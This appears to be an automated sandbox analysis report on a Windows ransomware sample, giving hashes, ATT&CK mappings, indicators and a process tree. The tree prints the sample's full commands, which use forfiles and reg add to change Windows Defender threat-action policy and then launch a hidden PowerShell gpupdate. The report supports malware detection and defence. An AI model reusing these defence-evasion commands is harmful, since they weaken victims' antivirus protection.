34d1686143c6c81e76ec46086f81c65ccd17a46ca279da4c64691dd69af86049

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
02/09/2024, 11:23

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General

Target

2024-09-02_0041e8bf2ba98bc2aca9852d5667e244_bkransomware.exe
Size

6.7MB
MD5

0041e8bf2ba98bc2aca9852d5667e244
SHA1

5b9ae5d856e7fd5cb08538aed4360a933c46114e
SHA256

34d1686143c6c81e76ec46086f81c65ccd17a46ca279da4c64691dd69af86049
SHA512

8ab9d46a9d4e05ad5a823cb74e3f336d6bdc665aa443a62bd71ecb98603d9568cb3267893d2817fccd93719afa707ecaf1fcb162fcd501753a05bf1f7dbdfc7e
SSDEEP

196608:/FC364Cf8WLJsckCEe6pwCmlZohTFLROTW8kD:nEWdscxPCXTFNOoD

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2820	powershell.exe

Indirect Command Execution 1 TTPs 5 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
2068	forfiles.exe
2064	forfiles.exe
2720	forfiles.exe
2316	forfiles.exe
2556	forfiles.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2668	1300	WerFault.exe	29

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-09-02_0041e8bf2ba98bc2aca9852d5667e244_bkransomware.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gpupdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2820	powershell.exe
2820	powershell.exe
2820	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2820	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1300 wrote to memory of 2128	1300	2024-09-02_0041e8bf2ba98bc2aca9852d5667e244_bkransomware.exe	30
PID 1300 wrote to memory of 2128	1300	2024-09-02_0041e8bf2ba98bc2aca9852d5667e244_bkransomware.exe	30
PID 1300 wrote to memory of 2128	1300	2024-09-02_0041e8bf2ba98bc2aca9852d5667e244_bkransomware.exe	30
PID 1300 wrote to memory of 2128	1300	2024-09-02_0041e8bf2ba98bc2aca9852d5667e244_bkransomware.exe	30
PID 2128 wrote to memory of 2068	2128	cmd.exe	32
PID 2128 wrote to memory of 2068	2128	cmd.exe	32
PID 2128 wrote to memory of 2068	2128	cmd.exe	32
PID 2128 wrote to memory of 2068	2128	cmd.exe	32
PID 2068 wrote to memory of 2072	2068	forfiles.exe	33
PID 2068 wrote to memory of 2072	2068	forfiles.exe	33
PID 2068 wrote to memory of 2072	2068	forfiles.exe	33
PID 2068 wrote to memory of 2072	2068	forfiles.exe	33
PID 2072 wrote to memory of 1716	2072	cmd.exe	34
PID 2072 wrote to memory of 1716	2072	cmd.exe	34
PID 2072 wrote to memory of 1716	2072	cmd.exe	34
PID 2072 wrote to memory of 1716	2072	cmd.exe	34
PID 2128 wrote to memory of 2064	2128	cmd.exe	35
PID 2128 wrote to memory of 2064	2128	cmd.exe	35
PID 2128 wrote to memory of 2064	2128	cmd.exe	35
PID 2128 wrote to memory of 2064	2128	cmd.exe	35
PID 2064 wrote to memory of 2320	2064	forfiles.exe	36
PID 2064 wrote to memory of 2320	2064	forfiles.exe	36
PID 2064 wrote to memory of 2320	2064	forfiles.exe	36
PID 2064 wrote to memory of 2320	2064	forfiles.exe	36
PID 2320 wrote to memory of 2816	2320	cmd.exe	37
PID 2320 wrote to memory of 2816	2320	cmd.exe	37
PID 2320 wrote to memory of 2816	2320	cmd.exe	37
PID 2320 wrote to memory of 2816	2320	cmd.exe	37
PID 2128 wrote to memory of 2720	2128	cmd.exe	38
PID 2128 wrote to memory of 2720	2128	cmd.exe	38
PID 2128 wrote to memory of 2720	2128	cmd.exe	38
PID 2128 wrote to memory of 2720	2128	cmd.exe	38
PID 2720 wrote to memory of 2292	2720	forfiles.exe	39
PID 2720 wrote to memory of 2292	2720	forfiles.exe	39
PID 2720 wrote to memory of 2292	2720	forfiles.exe	39
PID 2720 wrote to memory of 2292	2720	forfiles.exe	39
PID 2292 wrote to memory of 2496	2292	cmd.exe	40
PID 2292 wrote to memory of 2496	2292	cmd.exe	40
PID 2292 wrote to memory of 2496	2292	cmd.exe	40
PID 2292 wrote to memory of 2496	2292	cmd.exe	40
PID 2128 wrote to memory of 2316	2128	cmd.exe	41
PID 2128 wrote to memory of 2316	2128	cmd.exe	41
PID 2128 wrote to memory of 2316	2128	cmd.exe	41
PID 2128 wrote to memory of 2316	2128	cmd.exe	41
PID 2316 wrote to memory of 2768	2316	forfiles.exe	42
PID 2316 wrote to memory of 2768	2316	forfiles.exe	42
PID 2316 wrote to memory of 2768	2316	forfiles.exe	42
PID 2316 wrote to memory of 2768	2316	forfiles.exe	42
PID 2768 wrote to memory of 2732	2768	cmd.exe	43
PID 2768 wrote to memory of 2732	2768	cmd.exe	43
PID 2768 wrote to memory of 2732	2768	cmd.exe	43
PID 2768 wrote to memory of 2732	2768	cmd.exe	43
PID 2128 wrote to memory of 2556	2128	cmd.exe	44
PID 2128 wrote to memory of 2556	2128	cmd.exe	44
PID 2128 wrote to memory of 2556	2128	cmd.exe	44
PID 2128 wrote to memory of 2556	2128	cmd.exe	44
PID 2556 wrote to memory of 2832	2556	forfiles.exe	45
PID 2556 wrote to memory of 2832	2556	forfiles.exe	45
PID 2556 wrote to memory of 2832	2556	forfiles.exe	45
PID 2556 wrote to memory of 2832	2556	forfiles.exe	45
PID 2832 wrote to memory of 2820	2832	cmd.exe	46
PID 2832 wrote to memory of 2820	2832	cmd.exe	46
PID 2832 wrote to memory of 2820	2832	cmd.exe	46
PID 2832 wrote to memory of 2820	2832	cmd.exe	46

C:\Users\Admin\AppData\Local\Temp\2024-09-02_0041e8bf2ba98bc2aca9852d5667e244_bkransomware.exe
"C:\Users\Admin\AppData\Local\Temp\2024-09-02_0041e8bf2ba98bc2aca9852d5667e244_bkransomware.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1300
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2068
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2072
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1716
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2064
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2320
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2816
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2720
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2292
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2496
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2316
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2768
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2732
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2556
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2832
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2820
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2652
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1300 -s 636
  2⤵
  - Program crash
  PID:2668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indirect Command Execution

T1202

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1300-0-0x0000000000AA0000-0x0000000001155000-memory.dmp

Filesize
6.7MB

Download
memory/1300-3-0x0000000010000000-0x00000000105D5000-memory.dmp

Filesize
5.8MB

Download
memory/1300-7-0x0000000000AA0000-0x0000000001155000-memory.dmp

Filesize
6.7MB

Download